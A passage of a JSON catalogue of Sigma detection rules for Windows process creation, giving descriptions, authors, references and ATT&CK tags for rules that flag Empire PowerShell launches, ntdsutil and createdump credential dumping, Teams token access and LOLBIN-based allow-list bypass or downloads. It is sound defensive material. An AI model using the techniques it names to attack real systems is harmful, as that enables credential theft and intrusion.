            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d",
      "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl"
    },
    {
      "description": "Detects suspicious Splwow64.exe process without any command line parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_splwow64_cli_anomaly.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1429401053229891590?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_splwow64_cli_anomaly.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2",
      "value": "Suspicious Splwow64 Without Params"
    },
    {
      "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/04",
        "falsepositive": [
          "Command lines that use the same flags"
        ],
        "filename": "proc_creation_win_createdump_lolbin_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/",
          "https://twitter.com/bopin2020/status/1366400799199272960",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_createdump_lolbin_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48",
      "value": "CreateDump Process Dump"
    },
    {
      "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way",
      "meta": {
        "author": "elhoim, CD_ROM_",
        "creation_date": "2022/04/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_spawn_explorer.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/intelligence-insights-november-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_spawn_explorer.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b",
      "value": "RunDLL32 Spawning Explorer"
    },
    {
      "description": "Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/07/03",
        "falsepositive": [
          "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)",
          "When cmd.exe and xcopy.exe are called directly",
          "When the command contains the keywords but not in the correct order"
        ],
        "filename": "proc_creation_win_susp_copy_system_dir.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/",
          "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120",
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767",
      "value": "Suspicious Copy From or To System Directory"
    },
    {
      "description": "Detects suspicious powershell command line parameters used in Empire",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/04/20",
        "falsepositive": [
          "Other tools that incidentally use the same command line parameters"
        ],
        "filename": "proc_creation_win_hktl_empire_powershell_launch.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191",
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64",
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178",
          "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_launch.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581",
      "value": "HackTool - Empire PowerShell Launch Parameters"
    },
    {
      "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "NTDS maintenance"
        ],
        "filename": "proc_creation_win_ntdsutil_usage.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345",
      "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)"
    },
    {
      "description": "dotnet.exe will execute any DLL and execute unsigned code",
      "meta": {
        "author": "Beyu Denis, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "System administrator Usage"
        ],
        "filename": "proc_creation_win_lolbin_dotnet.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_felamos/status/1204705548668555264",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/",
          "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dotnet.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3",
      "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN"
    },
    {
      "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup",
      "meta": {
        "author": "bohops, Bhabesh Raj",
        "creation_date": "2021/10/08",
        "falsepositive": [
          "Legitimate use by VM administrator"
        ],
        "filename": "proc_creation_win_vmware_vmtoolsd_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://user-images.githubusercontent.com/61026070/136518004-b68cce7d-f9b8-4e9a-9b7b-53b1568a9a94.png",
          "https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/tools.conf",
          "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_vmtoolsd_susp_child_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5687f942-867b-4578-ade7-1e341c46e99a",
      "value": "VMToolsd Suspicious Child Process"
    },
    {
      "description": "Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sqlcmd_veeam_db_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_db_recon.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "696bfb54-227e-4602-ac5b-30d9d2053312",
      "value": "Veeam Backup Database Suspicious Query"
    },
    {
      "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/16",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_win_reg_software_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/harleyQu1nn/AggressorScripts",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_software_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1518"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b",
      "value": "Detected Windows Software Discovery"
    },
    {
      "description": "Detects attempts to enumerate file shares, printer shares and sessions using \"net.exe\" with the \"view\" flag.",
      "meta": {
        "author": "Endgame, JHasenbusch (ported for oscd.community)",
        "creation_date": "2018/10/30",
        "falsepositive": [
          "Legitimate use of net.exe utility by legitimate user"
        ],
        "filename": "proc_creation_win_net_share_and_sessions_enum.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_and_sessions_enum.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "62510e69-616b-4078-b371-847da438cc03",
      "value": "Share And Session Enumeration Using Net.EXE"
    },
    {
      "description": "Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tim Shelton",
        "creation_date": "2018/04/06",
        "falsepositive": [
          "Administrative scripts",
          "Microsoft SCCM"
        ],
        "filename": "proc_creation_win_susp_shell_spawn_susp_program.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_susp_program.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1059.005",
          "attack.t1059.001",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde",
      "value": "Windows Shell/Scripting Processes Spawning Suspicious Programs"
    },
    {
      "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th positional argument",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), memory-shards",
        "creation_date": "2022/12/24",
        "falsepositive": [
          "Legitimate use via Intune management. You exclude script paths and names to reduce FP rate"
        ],
        "filename": "proc_creation_win_agentexecutor_potential_abuse.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jseerden/status/1247985304667066373/photo/1",
          "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/",
          "https://twitter.com/lefterispan/status/1286259016436514816",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_potential_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7efd2c8d-8b18-45b7-947d-adfe9ed04f61",
      "value": "AgentExecutor PowerShell Execution"
    },
    {
      "description": "Detects inline execution of PowerShell code from a file",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_exec_data_file.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_exec_data_file.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee218c12-627a-4d27-9e30-d6fb2fe22ed2",
      "value": "Powershell Inline Execution From A File"
    },
    {
      "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/14",
        "falsepositive": [
          "Rare legitimate installation of kernel drivers via sc.exe"
        ],
        "filename": "proc_creation_win_sc_new_kernel_driver.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_new_kernel_driver.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49",
      "value": "New Kernel Driver Via SC.EXE"
    },
    {
      "description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_gpresult_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult",
          "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md",
          "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpresult_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1615"
        ]
      },
      "related": [
        {
          "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72",
      "value": "Gpresult Display Group Policy Information"
    },
    {
      "description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.",
      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/02",
        "falsepositive": [
          "Legitimate use by a software developer."
        ],
        "filename": "proc_creation_win_lolbin_fsharp_interpreters.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/",
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b96b2031-7c17-4473-afe7-a30ce714db29",
      "value": "Use of FSharp Interpreters"
    },
    {
      "description": "Detects the execution of WMIC with the \"csproduct\" which is used to obtain information such as hardware models and vendor information",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_csproduct.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/",
          "https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_csproduct.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "car.2016-03-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3e3ceccd-6c06-48b8-b5ff-ab1d25db8c1d",
      "value": "Hardware Model Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.",
      "meta": {
        "author": "@SerkinValery",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens",
          "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1528"
        ]
      },
      "related": [
        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75",
      "value": "Suspicious Command With Teams Objects Paths"
    },
    {
      "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/28",
        "falsepositive": [
          "Legitimate piping of the password to anydesk",
          "Some FP could occur with similar tools that uses the same command line '--set-password'"
        ],
        "filename": "proc_creation_win_remote_access_tools_anydesk_piped_password_via_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_piped_password_via_cli.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c",
      "value": "Remote Access Tool - AnyDesk Piped Password Via CLI"
    },
    {
      "description": "Shadow Copies storage symbolic link creation using operating systems utilities",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Legitimate administrator working with shadow copies, access for backup purposes"
        ],
        "filename": "proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf",
      "value": "VolumeShadowCopy Symlink Creation Via Mklink"
    },
    {
      "description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/06",
        "falsepositive": [
          "Legitimate use of the UI Accessibility Checker"
        ],
        "filename": "proc_creation_win_lolbin_susp_acccheckconsole.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/bohops/status/1477717351017680899?s=12",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/",
          "https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "0f6da907-5854-4be6-859a-e9958747b0aa",
      "value": "Suspicious LOLBIN AccCheckConsole"
    },
    {
      "description": "Detects the execution of \"Ldifde.exe\" with the import flag \"-i\". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.\n",
      "meta": {
        "author": "@gott_cyber",
        "creation_date": "2022/09/02",
        "falsepositive": [
          "Since the content of the files are unknown, false positives are expected"
        ],
        "filename": "proc_creation_win_ldifde_file_load.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1564968845726580736",
          "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html",
          "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f",
      "value": "Import LDAP Data Interchange Format File Via Ldifde.EXE"
    },
    {
      "description": "Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io",
        "creation_date": "2018/04/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_office_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml",
          "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e",
          "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html",
          "https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html",
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/",
          "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A",
          "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml",
          "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set",
          "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml",
          "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100",
          "https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_susp_child_processes.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1047",
          "attack.t1204.002",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
